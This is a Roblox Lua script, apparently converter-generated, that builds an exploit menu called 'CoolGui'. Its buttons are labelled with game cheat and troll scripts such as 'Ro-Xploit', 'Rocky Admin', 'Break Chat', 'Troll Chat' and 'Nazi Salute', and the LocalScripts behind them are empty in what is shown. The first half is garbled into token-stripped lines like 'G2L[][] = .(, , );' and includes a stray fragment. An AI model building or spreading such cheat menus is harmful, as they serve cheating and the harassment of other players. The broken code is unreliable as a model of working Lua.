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G2L = {};
G2L[] = .(, :().LocalPlayer:());
G2L[][] = ;
G2L[][] = .ZIndexBehavior.Sibling;
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G2L[][] = .(, , );
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G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
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G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Bold, .FontStyle.Normal);
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , , -);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Bold, .FontStyle.Normal);
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Bold, .FontStyle.Normal);
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Bold, .FontStyle.Normal);
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , , -);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = ;
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Bold, .FontStyle.Normal);
G2L[][] = .(, , );
G2L[][] = .(, , , );
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = ;
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
G2L[] = .(, G2L[]);
G2L[] = .(, G2L[]);
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal);
G2L[][] = .(, , , );
G2L[][] = ;
G2L[][] = .(, , );
G2L[][] = ;
G2L[][] = .(, , , );
utton.LocalScript
G2L["9c"] = Instance.new("LocalScript", G2L["9b"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["9d"] = Instance.new("TextButton", G2L["93"]);
G2L["9d"]["BorderSizePixel"] = 3;
G2L["9d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9d"]["TextSize"] = 14;
G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9d"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["9d"]["Name"] = [[button]];
G2L["9d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["9d"]["Text"] = [[Grab Knife V4]];
G2L["9d"]["Position"] = UDim2.new(0, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["9e"] = Instance.new("LocalScript", G2L["9d"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["9f"] = Instance.new("TextButton", G2L["93"]);
G2L["9f"]["BorderSizePixel"] = 3;
G2L["9f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9f"]["TextSize"] = 14;
G2L["9f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9f"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["9f"]["Name"] = [[button]];
G2L["9f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["9f"]["Text"] = [[T0PK3K 3.0]];
G2L["9f"]["Position"] = UDim2.new(0, 0, 0.39869, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["a0"] = Instance.new("LocalScript", G2L["9f"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["a1"] = Instance.new("TextButton", G2L["93"]);
G2L["a1"]["BorderSizePixel"] = 3;
G2L["a1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a1"]["TextSize"] = 14;
G2L["a1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a1"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["a1"]["Name"] = [[button]];
G2L["a1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a1"]["Text"] = [[Rocky Admin]];
G2L["a1"]["Position"] = UDim2.new(0.519, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["a2"] = Instance.new("LocalScript", G2L["a1"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["a3"] = Instance.new("TextButton", G2L["93"]);
G2L["a3"]["BorderSizePixel"] = 3;
G2L["a3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a3"]["TextSize"] = 14;
G2L["a3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a3"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["a3"]["Name"] = [[button]];
G2L["a3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a3"]["Text"] = [[YourMom Gui]];
G2L["a3"]["Position"] = UDim2.new(0.519, 0, 0.399, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["a4"] = Instance.new("LocalScript", G2L["a3"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["a5"] = Instance.new("TextButton", G2L["93"]);
G2L["a5"]["BorderSizePixel"] = 3;
G2L["a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a5"]["TextSize"] = 14;
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a5"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["a5"]["Name"] = [[button]];
G2L["a5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a5"]["Text"] = [[Ro-Xploit]];
G2L["a5"]["Position"] = UDim2.new(0, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["a6"] = Instance.new("LocalScript", G2L["a5"]);
-- StarterGui.CoolGui.main.page5.fds.button
G2L["a7"] = Instance.new("TextButton", G2L["93"]);
G2L["a7"]["BorderSizePixel"] = 3;
G2L["a7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a7"]["TextSize"] = 14;
G2L["a7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a7"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["a7"]["Name"] = [[button]];
G2L["a7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a7"]["Text"] = [[666ify]];
G2L["a7"]["Position"] = UDim2.new(0.519, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page5.fds.button.LocalScript
G2L["a8"] = Instance.new("LocalScript", G2L["a7"]);
-- StarterGui.CoolGui.main.page5.fes
G2L["a9"] = Instance.new("Frame", G2L["92"]);
G2L["a9"]["BorderSizePixel"] = 3;
G2L["a9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a9"]["Size"] = UDim2.new(0, 149, 0, 306);
G2L["a9"]["Position"] = UDim2.new(0.5, 0, 0, 0);
G2L["a9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a9"]["Name"] = [[fes]];
-- StarterGui.CoolGui.main.page5.fes.sectitle
G2L["aa"] = Instance.new("TextLabel", G2L["a9"]);
G2L["aa"]["BorderSizePixel"] = 3;
G2L["aa"]["TextSize"] = 14;
G2L["aa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["aa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["aa"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["aa"]["Size"] = UDim2.new(0, 149, 0, 30);
G2L["aa"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["aa"]["Text"] = [[FE Scripts]];
G2L["aa"]["Name"] = [[sectitle]];
-- StarterGui.CoolGui.main.page5.fes.button
G2L["ab"] = Instance.new("TextButton", G2L["a9"]);
G2L["ab"]["BorderSizePixel"] = 3;
G2L["ab"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ab"]["TextSize"] = 14;
G2L["ab"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ab"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ab"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["ab"]["Name"] = [[button]];
G2L["ab"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ab"]["Text"] = [[Glitch Sound]];
G2L["ab"]["Position"] = UDim2.new(0, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["ac"] = Instance.new("LocalScript", G2L["ab"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["ad"] = Instance.new("TextButton", G2L["a9"]);
G2L["ad"]["BorderSizePixel"] = 3;
G2L["ad"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ad"]["TextSize"] = 14;
G2L["ad"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ad"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["ad"]["Name"] = [[button]];
G2L["ad"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ad"]["Text"] = [[[R6] Car]];
G2L["ad"]["Position"] = UDim2.new(0.52, 0, 0.099, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["ae"] = Instance.new("LocalScript", G2L["ad"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["af"] = Instance.new("TextButton", G2L["a9"]);
G2L["af"]["BorderSizePixel"] = 3;
G2L["af"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["af"]["TextSize"] = 14;
G2L["af"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["af"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["af"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["af"]["Name"] = [[button]];
G2L["af"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["af"]["Text"] = [[Blackhole]];
G2L["af"]["Position"] = UDim2.new(0, 0, 0.19935, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["b0"] = Instance.new("LocalScript", G2L["af"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["b1"] = Instance.new("TextButton", G2L["a9"]);
G2L["b1"]["BorderSizePixel"] = 3;
G2L["b1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b1"]["TextSize"] = 14;
G2L["b1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b1"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["b1"]["Name"] = [[button]];
G2L["b1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["b1"]["Text"] = [[sing c00lkidd]];
G2L["b1"]["Position"] = UDim2.new(0.52, 0, 0.199, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["b2"] = Instance.new("LocalScript", G2L["b1"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["b3"] = Instance.new("TextButton", G2L["a9"]);
G2L["b3"]["BorderSizePixel"] = 3;
G2L["b3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b3"]["TextSize"] = 14;
G2L["b3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b3"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["b3"]["Name"] = [[button]];
G2L["b3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["b3"]["Text"] = [[FE Flip]];
G2L["b3"]["Position"] = UDim2.new(0, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["b4"] = Instance.new("LocalScript", G2L["b3"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["b5"] = Instance.new("TextButton", G2L["a9"]);
G2L["b5"]["BorderSizePixel"] = 3;
G2L["b5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b5"]["TextSize"] = 14;
G2L["b5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b5"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["b5"]["Name"] = [[button]];
G2L["b5"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["b5"]["Text"] = [[commit oof]];
G2L["b5"]["Position"] = UDim2.new(0.52, 0, 0.299, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["b6"] = Instance.new("LocalScript", G2L["b5"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["b7"] = Instance.new("TextButton", G2L["a9"]);
G2L["b7"]["BorderSizePixel"] = 3;
G2L["b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b7"]["TextSize"] = 14;
G2L["b7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b7"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["b7"]["Name"] = [[button]];
G2L["b7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["b7"]["Text"] = [[Hamster Ball]];
G2L["b7"]["Position"] = UDim2.new(0, 0, 0.39869, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["b8"] = Instance.new("LocalScript", G2L["b7"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["b9"] = Instance.new("TextButton", G2L["a9"]);
G2L["b9"]["BorderSizePixel"] = 3;
G2L["b9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b9"]["TextSize"] = 14;
G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b9"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["b9"]["Name"] = [[button]];
G2L["b9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["b9"]["Text"] = [[Troll Chat]];
G2L["b9"]["Position"] = UDim2.new(0, 0, 0.599, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["ba"] = Instance.new("LocalScript", G2L["b9"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["bb"] = Instance.new("TextButton", G2L["a9"]);
G2L["bb"]["BorderSizePixel"] = 3;
G2L["bb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bb"]["TextSize"] = 14;
G2L["bb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bb"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["bb"]["Name"] = [[button]];
G2L["bb"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["bb"]["Text"] = [[sing Rickroll]];
G2L["bb"]["Position"] = UDim2.new(0.52, 0, 0.599, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["bc"] = Instance.new("LocalScript", G2L["bb"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["bd"] = Instance.new("TextButton", G2L["a9"]);
G2L["bd"]["BorderSizePixel"] = 3;
G2L["bd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bd"]["TextSize"] = 14;
G2L["bd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bd"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["bd"]["Name"] = [[button]];
G2L["bd"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["bd"]["Text"] = [[Break Chat]];
G2L["bd"]["Position"] = UDim2.new(0.52, 0, 0.399, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["be"] = Instance.new("LocalScript", G2L["bd"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["bf"] = Instance.new("TextButton", G2L["a9"]);
G2L["bf"]["BorderSizePixel"] = 3;
G2L["bf"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bf"]["TextSize"] = 14;
G2L["bf"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bf"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bf"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["bf"]["Name"] = [[button]];
G2L["bf"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["bf"]["Text"] = [[Energize FE]];
G2L["bf"]["Position"] = UDim2.new(0.52, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["c0"] = Instance.new("LocalScript", G2L["bf"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["c1"] = Instance.new("TextButton", G2L["a9"]);
G2L["c1"]["BorderSizePixel"] = 3;
G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["TextSize"] = 14;
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c1"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["c1"]["Name"] = [[button]];
G2L["c1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c1"]["Text"] = [[Nazi Salute]];
G2L["c1"]["Position"] = UDim2.new(0, 0, 0.499, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["c2"] = Instance.new("LocalScript", G2L["c1"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["c3"] = Instance.new("TextButton", G2L["a9"]);
G2L["c3"]["BorderSizePixel"] = 3;
G2L["c3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c3"]["TextSize"] = 14;
G2L["c3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c3"]["Size"] = UDim2.new(0, 71, 0, 25);
G2L["c3"]["Name"] = [[button]];
G2L["c3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c3"]["Text"] = [[OG Anims]];
G2L["c3"]["Position"] = UDim2.new(0, 0, 0.699, 0);
-- StarterGui.CoolGui.main.page5.fes.button.LocalScript
G2L["c4"] = Instance.new("LocalScript", G2L["c3"]);
-- StarterGui.CoolGui.main.page5.fes.button
G2L["c5"] = Instance.new("TextButton", G2L["a9"]);
G2L["c5"]["BorderSizePixel"] = 3;
G2L["c5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c5"]["TextSize"] = 14;
